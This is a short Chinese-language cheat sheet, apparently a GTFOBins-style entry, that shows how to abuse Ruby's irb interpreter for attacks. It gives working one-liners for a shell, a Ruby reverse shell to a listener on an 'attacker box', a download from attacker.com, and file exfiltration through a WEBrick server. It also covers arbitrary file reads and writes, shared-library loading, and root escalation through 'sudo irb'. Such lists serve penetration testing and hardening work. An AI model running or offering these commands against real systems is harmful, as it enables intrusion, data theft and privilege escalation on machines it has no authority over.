用来生成一个交互式的系统shell。
irb
exec '/bin/bash'
向监听的端口发送反向shell,以打开远程网络访问。
nc -l -p 12345
on the attacker box to receive the shell. export RHOST='127.0.0.1'
export RPORT=9000
irb
require 'socket'; exit if fork;c=TCPSocket.new(ENV["RHOST"],ENV["RPORT"]);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read} end
上传文件到外部。
irb
require 'webrick'; WEBrick::HTTPServer.new(:Port => 8888, :DocumentRoot => Dir.pwd).start;
下载远程文件。
export URL=http://attacker.com/file_to_get
export LFILE=file_to_save
irb
require 'open-uri'; download = open(ENV['URL']); IO.copy_stream(download, ENV['LFILE'])
将数据写入文件中。
irb
File.open("要写入的文件", "w+") { |f| f.write("DATA") }
从文件中读取数据。
irb
puts File.read("要读取的文件路径")
加载共享库,这些共享库可以被用来在二进制文件的执行上下文中运行代码。
irb
require "fiddle"; Fiddle.dlopen("lib.so")
如果二进制文件被 sudo 允许以超级用户身份运行,可能被用于访问文件系统、提升或维持特权访问。
sudo irb
exec '/bin/bash'